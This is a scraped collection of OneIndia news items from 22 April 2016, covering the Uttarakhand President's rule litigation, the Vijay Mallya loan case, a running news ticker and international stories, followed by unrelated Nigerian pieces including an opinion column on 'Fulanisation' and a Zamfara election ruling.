"India is a member of the CMAG and after its deliberations, a concluding statement has been issued. Obviously being a member of the CMAG, India is party to the statement and it speaks for itself," he said.

PTI
Rahul Gandhi will be seen in new avatar after Bharat Jodo Yatra: Digvijaya Singh

Fact Check: This image of a massive gathering is not from the Bharat Jodo Yatra

Rahul Gandhi holds 'chane pe charcha' in Amethi

India

oi-IANS

By Ians English

Lucknow, April 22: Countering Prime Minister Narendra Modi's 'Chai pe Charcha', Congressmen coined the new 'Chane pe Charcha' in Amethi as party vice president Rahul Gandhi interacted with party workers over 'laiyya-chana' - a staple snack in this part of Uttar Pradesh.

Gandhi, who arrived in his parliamentary constituency late on Wednesday, interacted with party workers on Thursday and visited the homes of some party loyalists to express his condolences on death of their near and dear ones.

Maintaining distance from the media following him, he refused to comment on any issue, including the developments in neighbouring Uttarakhand where the high court struck down president's rule and restored the Congress government.

Later in the day, Gandhi visited the district party office and held parleys with them on various issues and local problems. It was after a gap of two years that such a meeting was held at the district HQ, a leader told IANS. The last time a meeting of this sort took place was after the 2014 Lok Sabha debacle.

Party leaders, while circumspect about the party's future in the state, however conceded that Gandhi had become more accessible than before and gave them a patient hearing. He will also spend Friday in Amethi where he has a string of engagements.

On the same day, election strategist Prashant Kishore, lined up to revive party's fortunes, held a meeting with office bearers of various frontal organisations in the state capital.

IANS
We cannot wait longer now: SC to hear Vijay Mallyas contempt case in January for final disposal

Repayment of loan by Mallya may see ED case weakening

India

oi-Vicky

New Delhi, Apr 22: A lot would depend on the verdict of the Supreme Court where the case against Vijay Mallya is concerned.

The Enforcement Directorate which has been trying to question Mallya has obtained a non-bailable warrant and even sought his deportation through the ministry of external affairs.

Mallya has committed that he would repay the loan amount in instalments. The question is if Mallya pays the loan amount then would the case against him filed by the Enforcement Directorate stand? Legal experts say that the cases could weaken considerably if the entire loan amount is paid.

What if Mallya clears the loan?

Experts say that the cases against him are related to defaulting on loan payments and also money laundering. However if he decides to repay the entire amount, then the cases against him would weaken and gradually fall.

An Enforcement Directorate official informed OneIndia that if Mallya repays the loan amount in full, then they would need to consult with their legal team on the next course of action.

However the probe by the CBI may continue as this case involves the role of bank officials and other public servants.

Banks have no right to seek information about my assets, says Mallya in SC

The CBI is trying to find out how such huge amounts were given. Whether these bank officials carried out due diligence while granting the loans or not is part of the CBI probe. Hence this particular cases may remain unaffected.

Mallya has told the Supreme Court that he intends clearing the loan. He had made an offer to pay up Rs 4,000 crore, but the banks had rejected the same. Mallya has told the court that he would come up with a fresh proposal on the next date of hearing.

He further said that the token money could be paid only if the Supreme Court intervenes in the matter. I cannot pay the amount until the court allows the sale of shares that have been stuck in litigation.

OneIndia News

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Story first published: Friday, April 22, 2016, 10:37 [IST]
With AQI of 259, Delhi's air on day before Diwali least polluted in 7 years

Soft drink majors urged to stop 'hardcore' marketing to kids

India

oi-PTI

New Delhi, Apr 22: Global health organisations, including some Indian NGOs, have asked soft drink majors to stop "hardcore" marketing and advertising of sugar-sweetened beverages to children.

The groups, which include Delhi-based Centre for Science and Environment (CSE), have written to CEOs of Coca Cola and Pepsico and other institutional investors to "acknowledge" the burden of sugar-related diseases in children.

The letter, sent in the run-up to Coca-Cola's annual meeting on April 27 and PepsiCo's on May 4, claimed that the multi-nationals are targeting low or middle-income countries in Asia, Africa, Middle East and Latin America which face steep rise in costs associated with health problems related to these drinks.

Both the soft drink majors were not available for comment on the matter. The letter has been co-signed by the George Institute for Global Health from Australia and India (which joined with other groups), Alliance for the Control of Tobacco Use and Health Promotion in Brazil.

The Nutritional Health Alliance in Mexico, Australia and New Zealand, Obesity Society from Australia, China, India and UK, Centre for Science and Environment in India, World Obesity Federation and World Public Health Nutrition Association are also signatories to the letter.

PTI
Fact Check: Images falsely shared with claim that it is chopper that crashed in Uttarakhand

Uttarakhand HC verdict quashing president's rule stayed by SC till Apr 27

India

oi-Vicky

New Delhi, Apr 22: The Supreme Court today stayed the order of the Uttarkhand High Court which had quashed the imposition of President's rule in the state.

The Bench headed by Justice Dipak Mishra ordered that the High Court provide judgment copies to all parties by April 26. [U'khand: Modi could have shown he is better than Nehru]

Further it observed that the order of the High Court shall be kept in abeyance until April 27 and the SC would take up the matter on the same day.

The Attorney General of India assured the Supreme Court that president's rule will not be revoked or the BJP would not try and form the government until April 27 at Uttarakhand.

The Supreme Court ordered that let the status that was present in the state until the HC delivered the verdict remain till the next date of hearing.

The Uttarakhand High Court has yesterday quashed the imposition of President's rule in the state.

The grounds by the government

The government represented by the attorney general in its interim prayer sought a stay on the verdict of the High Court.

In its appeal against the HC verdict it contended that the impugned judgment passed by the High Court is contrary to the principles of law laid down by SC in relation to exercise of Article 356 of the Constitution of India. The impugned judgment deserves to be set aside.

High Court failed to appreciate that in view of the settled principles of law laid down by SC, the scope of judicial review of Presidential Proclamation issued under

Article 356 is narrow and limited. The Court can only examine the relevancy of the material placed before the Hon'ble President of India, the adequacy, sufficiency, truth or correctness of the material cannot be looked into by the Hon'ble Court.

Since the Hon'ble High Court failed to appreciate that the Hon'ble Court cannot sit as an appellate forum over the Proclamation which is issued by the Hon'ble President of India on his subjective satisfaction based on the material placed before him - including the report of the Hon'ble Governor and also otherwise.

Arguments

The matter was argued today for over an hour. Harish Rawat represented by Abishek Manu Singvi contended that no stay could be granted as there was no order copy of the HC available as yet. He informed the court that the verdict was dictated in open court yesterday.

The Attorney General said that Harish Rawat has already started taking decisions. He even called a cabinet meeting yesterday. How can he do that, the AG questioned. The judgment copy is not with us says AG. Without a judgment being signed how can it be considered a judgment.

OneIndia News
Uttarakhand: BJP to challenge HC verdict in Supreme Court

India

oi-Vicky

New Delhi, Apr 22: As the union government readies to battle it out in the Supreme Court challenging the verdict of the Uttarakhand High Court which set aside president's rule in the state, there is both a sense of confidence and anxiety.

The BJP says that they will fight it out in the Supreme Court and will not change their position.

While many have termed it as a set back for the BJP, the party leaders however point out that they were quite sure that the verdict would turn out this way. Yesterday the High Court struck down the imposition of President's rule in Uttarakhand and paved the way for a floor test scheduled to be held on April 29.

We are sure of our position:

The BJP says that the decision was not a brazen one. The Harish Rawat government indeed was in a minority. It was after much consideration that such a decision was taken. We do not think we have side stepped the guidelines laid down in the S R Bommai verdict, a BJP leader informed OneIndia.

Uttarakhand verdict: Centre contemplating appeal in Supreme Court

BJP sources also say that they would challenge all portions of the High Court order. The prayer would be the restoration of President's rule in the state. Discussions were held late into the night.

In fact the BJP was bracing for this ever since the first hearing in the High Court took place. They had anticipated that the order would go against them and a decision to prepare a strong appeal was taken much in advance.

OneIndia News

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Story first published: Friday, April 22, 2016, 8:28 [IST]
In jeep-truck collision, 4 schoolchildren killed, 11 others injured in Ujjain

All you need to know about 900-metre long `Mahakal Lok` corridor in MP`s Ujjain

News flash: Will resign if proven guilty: Nawaz Sharif on Panama Papers

India

oi-Oneindia

By Oneindia Staff Writer

Bengaluru. Apr 22: Simhastha Kumbh Mela begins in Ujjain. Pop music superstar Prince died at his home in suburban Minneapolis.

Get all the latest news updates of the day:

9.00 pm: I believe India is at the cusp of a development cycle which will see India growing for 20, 30, 40 years in double digits: Piyush Goyal.

8.45 pm: AAP delegation meets Sushma Swaraj over issue of MP HM Babulal Gaur touching a woman inappropriately.

8.25 pm: I have decided to write letter to Chief Justice of Pak for forming a commission to probe Panama leaks: Pak PM Nawaz Sharif on Panama Papers.

8.20 pm: I will resign if proven guilty: Pakistan PM Nawaz Sharif on Panama Papers.

After Allah, I am only answerable to the people of Pakistan, says Pakistan PM Nawaz Sharif on #PanamaPapers  ANI (@ANI_news) April 22, 2016

8.03 pm: Lok Sabha Speaker Sumitra Mahajan will meet the Leaders of Parties in Lok Sabha on April 24 at 11:30 am.

8.00 pm: ECI transfers DM of South 24-Parganas, SP of North 24-Parganas and 13 other officers before 4th & 5th phase of Polling in West Bengal.

7.55 pm: I will be orthodox but I will definitely be unconventional: Suresh Gopi on being nominated for Rajya Sabha.

I will be orthodox but I will definitely be unconventional: Suresh Gopi on being nominated for Rajya Sabha pic.twitter.com/DQpvPL7la1  ANI (@ANI_news) April 22, 2016

7.50 pm: It is a great honour for me of course: Boxer Mary Kom on being nominated to Rajya Sabha.

It is a great honour for me of course: Boxer Mary Kom on being nominated to Rajya Sabha pic.twitter.com/OcydgrphPR  ANI (@ANI_news) April 22, 2016

7.45 pm: Centre constitutes sub-committee of High Level Committee to interact with trade & industry on imposition of Central Excise Duty on jewellery.

... Joint Secretary, Department of Commerce, Alok Shukla, Joint Secretary, Tax Research Unit, CBEC.  ANI (@ANI_news) April 22, 2016

7.33 pm: Subramanian Swamy, Mary Kom, Navjot Sidhu, Swapan Das Gupta, Suresh Gopi, Narendra Jadhav to be nominated for Rajya Sabha.

7.17 pm: 72 people die due to heat wave in Odisha, as recorded until 6 PM this evening.

7.12 pm: CRPF along with state police recovered an IED (20kgs) in Sukma (Chhattisgarh), IED defused by bomb squad.

7.00 pm: 13 dead after a fire accident during a wedding function in Bihar's Aurangabad district.

6.31 pm: Union Health Minister JP Nadda escapes unhurt as elevator in Telangana BJP office falls down.

6.15 pm: 171 countries to sign Paris climate deal, says UN chief.

6.00 pm: Harish Rawat took the CM office yesterday without permission of Governor,says Kailash Vijayvargiya, BJP on Uttarakhand row.

5.47 pm:Sukhbir Singh Badal and others summoned by Amritsar Court to appear on May 19 in case of forcible takeover of a shop in Golden temple complex.

5.30 pm: We will follow SC's judgement with due respect, says Harish Rawat

5.25 pm: Eight people die in a fire in Aurangabad, Bihar. Fire tenders trying to douse the fire.

5.02 pm: Centre continues to push for stay of HC verdict. Counsel for Harish Rawat opposes it.

5.00 pm: The impugned judgment passed by the High Court is contrary to the principles of law laid down by SC in relation to exercise of Article 356 of the Constitution of India. The impugned judgment deserves to be set aside.

4.59 pm: High Court directed to provide the judgement to all parties by April 26 and the same is to be filed before the court on the same days rules Supreme Court.

4.55 pm: This means that Governor's rule revives and CM will have no power or jurisdiction to work any further till further orders,says Mukul Rohatgi, AG.

4.45 pm: We assume this to be an act of terrorism, police announced arrest of one person, says MEA on gurudwara attack in Germany.

4.40 pm: SC stays Uttarakhand HC order lifting President's rule in the state till April 27.

4.30 pm: Groom on his way for his wedding allegedly commits suicide by jumping into a canal in Ludhiana.

4.10 pm: Considering legal experts in this matter: Vikas Swarup, MEA on ED seeking its help for deportation of Vijay Mallya

4.00 pm: Brussels bomber identified as IS jailer of foreign hostages in Syria

3.45 pm: I gave them a call & invited them for dialogue but they sent me pic of a beheaded man: Sri Sri Ravi Shankar on ISIS

3.30 pm: More than 12 slums gutted in fire due to a cylinder blast in Banjara Basti (Bhopal), 20 fire tenders at the spot.

3.00 pm: A car caught fire in Chennai's Guindy area, fire was later doused.

2.25 pm: Supreme Court to hear Centre's plea against Uttarakhand HC order at 3.30 pm today.

1.50 pm: UP Govt takes back 25000 acres of land which was earlier alloted to Jaypee group.

1.49 pm: Heat wave conditions in Varanasi as temperature touches above 40 degrees, people consume fluids to prevent dehydration.

1.46 pm: Crocodile which entered residential area in Firozpur (UP) to be released in river Chamba in National Chambal Sanctuary by forest officials.

1.44 pm: Bengaluru: Youth Congress protest against Union Government over Uttarakhand issue.

1.25 pm: Locals protest against proposed IPL matches in Jaipur (Rajasthan) due to water crisis.

1.00 pm: Crocodile enters residential area in Firozabad's Darapur Raseni village(UP),later captured by forest officials.

12.45 pm: Patna Railway station being checked after naxals threatened to blow up Gaya & Patna stations. Dog squad at the spot.

12.44 pm: HM Rajnath Singh chaired High Level Committee meet for central assistance to drought hit states of Karnataka, Puducherry and Arunachal Pradesh.

12.30 pm: The Central Assistance of Rs 84.33 crore to Arunachal Pradesh includes Rs.18.00 crore under National Rural Drinking Water Programme (NRDWP).

12.19 pm: Uttarakhand Governor KK Paul questions Chief Secretary regarding the Cabinet Meeting convened by Harish Rawat yesterday.

12.15 pm: 15 people killed in a landslide in Tawang area of Arunachal Pradesh, 2-3 feared buried, rescue operations underway.

12.00 noon: NDRF team leaves for the spot in Tawang (Arunachal Pradesh) where several are feared buried under debris after a landslide.

11.56 am: Many feared buried in a landslide in Arunachal Pradesh's Tawang district. More details awaited.

11.30 am: MCA moved SC against Bombay HC order on shifting of IPL matches. SC to hear the matter on 25th Apri.

10.47 am: The registrar general of the Supreme Court will consult with the Chief Justice on when to list the appeal in the Uttarakhand matter. The matter was mentioned before Justice Dipak Mishra and sought a stay on the HC verdict.



10.45 am: Supreme Court tells centre to file its plea challenging Uttarakhand HC verdict and seek the registry to list the matter. The court says that it could be taken up today or listed on Monday.

10.10 am: Centre has every right to approach SC, but we are confident that they won't get any relief from the SC also: Harish Rawat at cabinet meeting.

9.35 am: Harish Rawat to hold cabinet meet in Dehradun shortly.

8.55 am: Fire breaks out in a socks factory in Kanpur, a dozen of fire tenders rushed to the spot.

8.30 am: Congress leader Ashok Kaka shot dead by unidentified gunmen in Rohtak (Haryana).

8.00 am: Activist Trupti Desai enters Trimbakeshwar Temple's sanctum sanctorum.

OneIndia News
I want to run against crooked Hillary Clinton, says Donald Trump

International

oi-PTI

Washington, Apr 22: Republican presidential front- runner Donald Trump has said that he prefers to run against Democratic leader Hillary Clinton in the elections and not against Vermont Senator Bernie Sanders despite that he is giving a tough time to the former secretary of state.

"Now Bernie's over, I guess. It's over for Bernie. I dont want to run against Bernie," Trump told his supporters in Pennsylvania, where the Republican presidential primary is scheduled to be held on April 26.

Presidential candidates rake millions in fund raising

"I want to run against crooked Hillary Clinton. We are going to beat her so badly. Is there anyone more crooked than this woman?" Trump said, as he appeared to be confident of bagging the party's presidential nomination despite being quite far away from the necessary 1237 delegates to get this.

However, he praised Sanders for his tough fight against Clinton.

"(Sanders) said she suffers from bad judgement and she said  now I don't know, I think she's qualified, I guess. But that doesnt mean shes good," he said. "He said she's not qualified to be president. Now what he meant is because her judgement is so bad so Bernie Sanders, not me, said she's not qualified. So now Im going to say: She's not qualified, OK?" Trump said.

"We have all of the mistakes Hillary made as secretary of state. We have a mess. The war in Iraq has been devastating. We have probably spent USD 4 trillion in the Middle East," the Republican front runner said in his speech.

Meanwhile, the former Republican presidential candidate and Speaker of the House of Representatives Newt Gingrich said that Trump is a presumptive nominee and urged party leaders to unite behind him.

Donald Trump lashes bill 'political correctness'

The Republican National Committee (RNC) leadership continued to its meeting in Florida over the various laws related to the convention. Trump personally did not attend the meeting, but was represented by his close aides.

It's over for Bernie. I don't want to run against Bernie, said Trump

The other two presidential candidates, Ted Cruz and John Kasich, appeared before the RNC. At his Pennsylvania rally last evening, Trump refused to go by the advice of his aides who asked him to wait so as to let a large crowd waiting outside to come inside the venue.

"So I am supposed to wait a half an hour because there are thousands of people outside trying to get in. I cant do that to you, so we are going to come on right now," he said off-stage.

"Ive never done that before. Ive never introduced myself. They didnt quite say it right the first time. We have thousands of people outside. Theyre going to pour in, theyre filling up the floor. Lets start a little bit early. To hell with this," said Trump, who has 845 delegates to his kitty.

His nearest primary rival Senator Ted Cruz from Texas has 559 and the Ohio Governor John Kasich 148.

The next round of primary elections are scheduled in the states of Maryland, Pennsylvania, Connecticut, Delaware and Rhode Island. Trump needs to win big in these states to ensure that he gets the necessary 1237 votes to become the partys nominee before the Cleveland convention in July.

PTI
Indian media hype over Abdul Basit unwarranted, says Pakistan

International

oi-IANS

By Ians English

Islamabad, April 21: Pakistan on Thursday termed the "hype" created by the Indian media over its envoy's statement in New Delhi as "neither warranted nor required" and said it would be ready to talk "when India is ready".

Pakistan Foreign Office Spokesperson Nafees Zakaria, in his briefing, said in answer to a question that "Pakistan and India are two neighbours which must live in peace and harmony. The hype created by the Indian media over Mr. (Abdul) Basit's remarks was neither warranted nor required.

"Our media has been sober and shown maturity. This question has been repeatedly asked and I will only add to what has been said earlier is that Pakistan will be ready to talk when India is ready. I would not enter into the debate of what words were used by both sides."

Basit, during a talk in New Delhi earlier this month, had kicked up a controversy when he said that the "peace process with India is suspended" - a remark that was contradicted by the Pakistan foreign office which said that both sides were in talks over when to hold the talks.

The Foreign Secretaries of both sides are yet to meet to work out the modalities over the resumed bilateral dialogue, that has been stalled ever since the January 2 terror attack on the Pathankot air base by Pakistan-based terrorists.

To a question on when the Indian probe team, the National Investigation Agency (NIA) would be going to Pakistan regarding the Pathankot probe, the official said that he is not aware of any official request from India in this regard.

On the "NIA team's visit to Pakistan, which has been the subject of much media speculation in India. I am not aware of any official request in this regard," Zakaria said.

To a question on the outcome of the Pakistani Joint Investigation Team's visit to India on the Pathankot probe, he said that "Once the investigations have been completed and a report compiled, we will share with you the shareable information".

To another question on India voicing its disappointment over blocking of a move to ban Jaish-e-Mohamed chief and Pathankot attack mastermind Masood Azhar in the UN, the spokesperson said that the "listing on the UN sanctions is done according to set procedures and that procedure I believe is on course. Attempts to politicize this process is regrettable".

Asked about the NIA clearing Lt. Col Prasad Purohit of all charges in the Samjhauta Express bombing, the spokesperson said that Pakistan's "requirement and request of sharing details of the Samjhauta Express terrorist attack investigations is pending with the Indian government".

"Despite promises, the investigations have not been shared. Let's see when will they get back to us about the outcome of the investigations of this incident in which a lot of innocent Pakistanis lost their lives."

IANS
ISIS executes 250 women for refusing to become sex slaves in Iraq

International

oi-Jagriti

London, Apr 22: At least 250 girls have reportedly been executed by the Islamic State (IS), notorious for its brutality in Iraq.

They were ordered to accept temporary marriages to the terrorists and were murdered, sometimes alongside their families, for their refusal to be sex slaves in Iraq's second largest city of Mosul.

ISIS began selecting women of Mosul and forced them into marrying its militants, calling it temporary marriage since it has taken control over Mosul, and the women who refused to submit to this practice would be executed, said Kurdish Democratic Party spokesman Said Mamuzini.

"At least 250 girls have so far been executed by IS for refusing to accept the practice of sexual jihad, and sometimes the families of the girls were also executed for rejecting to submit to IS's request," Mamuzini told London-based Kurdish news agency 'AhlulBayt'.

Another official from the Patriotic Union of Kurdistan (PUK) party Ghayas Surchi said that human rights were being widely violated in all IS-held territories, particularly the womens' rights as they're seen as commodities and have no choice in choosing their spouses. Surchi said that women were not allowed to go out alone in Mosul and cannot choose their spouses.

ISIS has started killing own fighters: Here is why

The executions follows a spate of similar killings that took place last August in which 19 Mosul women were slaughtered for refusing to have sex with ISIS fighters, the report said. Up to 500 Yazidi women and girls were kidnapped and sexually abused by militants in August 2014.

In October, more than 500 Yazidi women and young girls were reportedly abducted by the ISIS when they stormed the Sinjar region in northern Iraq. ISIS took control of Mosul in June 2014 after the fall of Iraqi army in the city and since then has been slaughtering its residents for various charges to spread fear.

US President Barack Obama said on Monday that he expected Mosul to be retaken from the ISIS "eventually". "My expectation is that by the end of the year, we will have created the conditions whereby Mosul will eventually fall," Obama had said.

OneIndia News (with inputs from agency)

For Breaking News and Instant Updates Allow Notifications

Story first published: Friday, April 22, 2016, 10:20 [IST]
Despite the SC bail, journalist Siddique Kappan to remain in jail

In the name of charity, Rs 50 lakh transferred to personal A/C: ED in chargesheet against Rana Ayyub

Rana Ayyub used money collected for charity for her own use

Senior journalist held for graft in Nepal

International

oi-IANS

By Ians English

Kathmandu, April 22: Nepal's anti-graft body on Friday,April 22 arrested publisher, editor and journalist Kanak Mani Dixit from his Lalitpur-based residence.

Dixit is the publisher of Himal Media, a reputed publication house that publishes Himal South Asia, Nepali Times, Himal Khabar Patrika (in Nepali language), and a columnist for many international media outlets, including some Indian newspapers.

He was arrested in the afternoon by the Commission for the Investigation of Abuse of Authority (CIAA).

Dixit, also a vocal human rights defender, is chairman of Sajha Yatayat, a state-run transportation company that is pulling out to profit-making institution within a couple of months.

The arrest warrant, seen by media, stated "CIAA needs to probe into corruption case and accumulation of property through the illegal way".

"You have to accompany the police and staff who bring this arrest warrant, otherwise they will detain you," it stated.

Though the exact reason behind the arrest has not been revealed by the CIAA, it is claimed his explanation to the CIAA about property details was found unsatisfactory.

After the CIAA served a notice against him some five months ago about accumulation of property out of legal sources, a tussle between Dixit and the CIAA surfaced.

Dixit has termed his arrest arbitrary and contempt of court. He told reporters after the arrest that it was a vendetta against him by CIAA chief Karki.

"Karki has ego problem against me, which comes from hangover of Panchyat system in Nepal, and now he is trying to indict me in corruption, which will not succeed at any cost," Dixit added.

Though Nepal political parties appointed Karki to the post in 2012, many of them are now terrified about getting arrested by him any time.

IANS
Bengal polls: Trinamool Congress candidate's poster seen in Bangladesh

Kolkata

oi-Shubham

Dhaka, April 22: Although the two Bengals are different political entities now, but a strange incident happened last Friday (April 15) in a sub-district in Bangladesh's Tangail district that united the two sides in some way.

List of seats gong to polls on April 25" title="Assembly Polls 2016 Full Coverage; List of seats gong to polls on April 25" />Assembly Polls 2016 Full Coverage; List of seats gong to polls on April 25

According to a report published in Bengali daily Anandabazaar Patrika, people of Ashariachala village in the hilly areas of Ghatail sub-district of Tangail were scared when they saw an object hanging in the sky in the night. Residents of the village, which is home to poultry farming, first thought it as a drone and took shelter at a safe distance.

But when the object came down after sometime, a few of the local people came forward to see it was just a gas balloon with a poster of Krishnendu Narayan Chowdhury, a candidate of the Trinamool Congress (TMC) contesting in the election being fought in neighbouring West Bengal! The poster said: "Vote for Krishnendu Narayan Chowdhury and help him win".

The balloon and the poster were taken to the village and a lot of people came out to see them.

The distance between Englishbazaar, the constituency of Chowdhury in Malda district which went to polls on April 17, and Ghatail in Tangail district of Bangladesh is 271 kilometres.

The balloon indeed had quite a flight.

Oneindia News
With AQI of 259, Delhi's air on day before Diwali least polluted in 7 years

Sunlight Colony fire incident: Delhi Police quizzes woman

New Delhi

oi-PTI

New Delhi, Apr 22: Delhi Police on Thursday questioned a woman in connection with the fire which broke out in a building in southeast Delhi's Sunlight Colony earlier this week, claiming five lives.

The woman allegedly owned an illegal gas-refilling shop in the building where the fire broke out after a short-circuit, which was followed by massive cooking gas cylinder explosions, a senior police official said.

Police are awaiting a forensic report and the woman is likely to be arrested. A case on charges of negligent conduct with respect to fire or combustible matter, causing grievous hurt by act endangering life or personal safety of others and negligence causing death was registered in connection with the incident, the official said.

The fire had broken out on the first floor of a building. and the flames spread to other floors following a cooking gas cylinder blast. A woman and her two minor daughters were charred to death in the incident and around 23 people injured.

Mithilesh (38), another resident of the building, and Nikhil (16), a passerby who was returning home from a gym in the locality, later succummed to their wounds in hospital.

Three persons were killed and 11 injured in another fire incident reported around half an hour ago in east Delhi's Gandhi Nagar area on the same evening.

PTI
Bihar: Girls protest after being asked to remove Hijab during exam

Central team roped in as dengue cases in Bihar rise to over 5000

Bihar: 200 huts burnt, officials blame soaring temperature

Patna

oi-Sandra

Jehanabad/Patna (Bihar), April 22: Around 200 huts in Bihar's Jehannabad district caught fire and were burnt down on Thursday.

While it is not certain what caused the fire, officials say that intense heat in the area could be the reason for the blaze.

The huts were mostly may of hay and belonged to Dalit familes, reports suggest. Meanwhile, fire tenders that arrived on the spot were seen struggling to control the blaze.

Temparature in Jehanabad soared to 42 degrees Celsius on Thursday.

There have been several incidents of fire in the past in the state and officials blame the soaring temparatures for this.

On the other hand, an official investigation has been launched into this to ascertain the cause of the fire.

OneIndia News

For Breaking News and Instant Updates Allow Notifications

Story first published: Friday, April 22, 2016, 12:37 [IST]
Bihar: Girls protest after being asked to remove Hijab during exam

Central team roped in as dengue cases in Bihar rise to over 5000

Naxals threaten to blow up Patna, Gaya railway stations; security beefed up in Bihar

Patna

oi-Shalini

Patna, April 22: Naxaliites on Thursday, April 21 threatened to blow up Gaya and Patna Railway station.

According to media reports, the Naxaliites sent a letter to railway authorities threatening to blast busy railway stations in Bihar.

After receiving the threat letter, the security level has been beefed up in Patna and in Gaya. To ensure security, railway tracks, luggage rooms and trains are being checked thoroughly with the help of dog squad in Patna.

Till now no such major things has been found by the police. Gaya is the most affected naxal region in Bihar.

OneIndia News
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Delaware is a state in the Mid-Atlantic region of the United States, bordering Maryland to its south and west; Pennsylvania to its north; and New Jersey and the Atlantic Ocean to its east. The state takes its name from the nearby Delaware River, in turn named after Thomas West, 3rd Baron De La Warr, an English nobleman and Virginia's first colonial governor.
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Destiny Etiko

Destiny Etiko who calls herself the Drama Doll has continued to flaunt her greatest assets  bum and hips on her Instagram page.

She is a hardworker as she is always pictured on set shooting a movie.

Aside acting, she is into modeling and she is also a brand ambassador for commercial brands.

She has almost 900,000 followers on her Instagram page.

See more photos:
Abimbola Adelakun

Former President Olusegun Obasanjo said several useful things in his keynote address at the Cathedral Church of St. Pauls Anglican Church, in Oleh, Delta State, over the weekend, but only two things have stuck with everyone: Fulanisation and Islamisation.

I disagree with Obasanjo on many things, especially his toxic politics, but his elaboration of Nigerias security quagmire was not wholly inaccurate. He did not say anything we did not know, and what was perhaps different about his submission was the weight of his words as a former President and of course, his seeming predilection for mischief. Other than those, his assessment that what started because of a shortage of opportunities for upward mobility has now graduated to a wholesale crime that amongst other intents, wants to Fulanise and Islamise Nigeria is an observable reality. Since he gave that speech, different groups have fallen over themselves to denounce him, and some Islamic groups even took umbrage at the conflation of banditry and lawlessness with Islamisation.

Two things have characterised the criticism of the assertion of Fulanisation/Islamisation. One, they have been more interested in maintaining a facade than confront reality. For instance, the Minister for Information and Culture, Lai Muhammed, thought Obasanjos pronouncement was divisive. Unless Muhammed has been living under Olumo Rock, he should know that Nigerians are presently far more fractured at this moment in their history than they have ever been. Part of the blame, of course, goes to Muhammeds paymasters in Abuja who turned their clannish politics into a national policy and also exploited ethnic and religious differences for their political advantage.

The second problem with the criticism is that they took the allegations of Fulanisation and Islamisation literally. Yes, indeed, those terms were the bogeymen they used to frighten us to not vote a Fulani-Muslim in 2015. All of what they threatened would happen if Nigerians voted Buhari has not happened, at least in the way the pundits predicted. There is indeed an argument to be made against a purported system of Fulanisation/Islamisation that has made as many ethnic Fulanis and Muslims its victims as anyone else. The violence has been indiscriminate in its targeting of victims, and the perpetrators of all the crimes we have seen happened are from diverse ethnic groups. While there are many contributing factors that rubbish any simplistic claims, it does not mean the charges of Fulanisation/Islamisation have no legitimate basis. The Global Terrorism Index notes that Fulani herdsmen are the fourth deadliest terror group in the world, and there is a reason you have not seen them being tried in courts despite the grievousness of their crimes.

Obasanjos thesis draws a line between the ethnic/religious identity of the thoughtless miners of evil and the Presidents, but it is a tenuous one. I doubt that the bandits and marauders who commit the crimes are self-consciously executing the agenda of either Fulanisation or Islamisation. They are self-interested criminals, with no higher goal or ideal than self-enrichment and terrorisation of the populace. They are not a revolutionary army of people seeking to worm their way into political forces; they are common criminals. What is noteworthy here is that they are emboldened by the protection that religion and ethnicity afford them, and so they commit crimes with impunity.

The Fulanisation/Islamisation presently destroying Nigeria has not followed the pattern they said it would. The project has gone beyond implanting ethnic cohorts in high places or even the attempt to make all of us Muslims. No, it is about the creation of a political cult based on the ethnic and religious identity of the most influential figure in the land -the President- and that of his closest associates whom he has implanted in power. For this group, political power is an heirloom that must be circulated within their exclusive class, and which admits handpicked members after they have proved themselves worthy of belonging by ostentatiously performing their loyalty to this club of political elites.

You would have noticed that since the present administration started, almost all the vociferous voices that yelled against one thing or the other in the past administrations have virtually gone mute. Their silence is not a coincidence; these former social advocates have been browbeaten by the inveighing forces of Fulanisation/Islamisation that demand conformity from everyone to enable a perpetuation of its power. This regulation of compliance takes several forms, but one of the most obvious is the cult of silence that pervades southwestern Nigeria despite the invasion of the region by herdsmen. There is a conspiratorial silence not to see or speak. From state governors to even the so-called Yoruba leaders, people are more invested in playing the politics of I-remain-loyal rather than calling out Fulani herdsmen for the atrocities they are committing. These elders and leaders are maintaining a posture of self-censure and looking away from the unfolding anarchy because to speak up is to risk jeopardising certain privileges.

The connection between the evils done by Fulani herdsmen on the streets and the Fulanisation/Islamisation agenda can be seen if we understand how various spheres connect. From the cowing of previously strident voices, to the bending of tenets of democracy to accommodate the abuses and excesses of the coterie invested power, to the cult of Buharis devotees who are all over the place barking at any dissenting voices, to the ways politicians from other regions of Nigeria have to contort themselves and prove they are non-threatening in order to assure the wielders of power that we are together, there is an ongoing pacification. They are regulating ethics of behaviour, and the end goal is to make the social ecology more amenable for these power mongers to reign. Fulanisation/Islamisation demands that you identify with their religion and culture, pander to it, and also consciously carry out actions that help them institutionalise their power. That is why it is not enough that southern politicians join the All Progressives Congress; they have to dress like the Fulani. It does not stop there. If Buhari heads to Saudi Arabia, they not only follow him there, they dress like Saudi Muslims.

Because the criticisms of Fulani herdsmen will touch their patron saint in Aso Rock (who has been their staunchest defender by the way), these people either avoid the subject or speak in cowardly tongues. Just look at the number of people who will rather criticise Obasanjo than speak up against the conditions of insecurity that we face.

If you doubt that religion and ethnicity feature in the ways regional crimes are tackled in Nigeria, take a moment to compare the crimes of the pro-Biafran secessionists with the ones ravaging northern Nigeria. The former was brutally assaulted and killed, while the treatment of the latter confirms that what you can get away with in Nigeria depends on where you were born. When they asked the President if his administration would change their approach to managing the magnified problem of insecurity, he had nothing in his head or heart to offer other than say he had observed that the Inspector-General of Police, Mohammed Adamu, was losing weight, and therefore must be working hard on that issue. It was not a joke, and even if it were, who uses a severe situation that has taken many lives and destroyed livelihoods to play for laughs?

Lets not be fooled; he gave that answer because he was not ready to confront the sins of his kinsmen. That is how the politics of Fulanisation/Islamisation works these days.

Those that are convinced that the day will never come when we will all be consigned to wearing the Burqa are right. The dystopia that awaits us will not be that colourless. It will be the one that will mandate that we deny our reality and continuously swear to allegiance to our abusers so that they can reward us with crumbs that fall off their table.

Written by Abimbola Adelakun
Atiku Abubakar

The Peoples Democratic Party, PDP, 2019 presidential candidate, Atiku Abubakar, has reacted to Fridays Supreme Court ruling nullifying the victory of the All Progressive Congress, APC, in the last general elections in Zamfara State.

Atiku said the verdict is a victory for rule of law.

APC on Friday lost its bid to govern Zamfara State for the next four years as the Supreme Court ruled that it did not conduct valid primaries for the 2019 general elections.

Also, the apex court validated the judgment of the Court of Appeal, Sokoto Division, which gave the verdict that no valid primaries were conducted by the APC in Zamfara State.

Further, the Supreme court, in a unanimous judgment by a seven-member panel, decided that a party that had no valid candidate cannot be said to have emerged winner of the recently-conducted general elections.

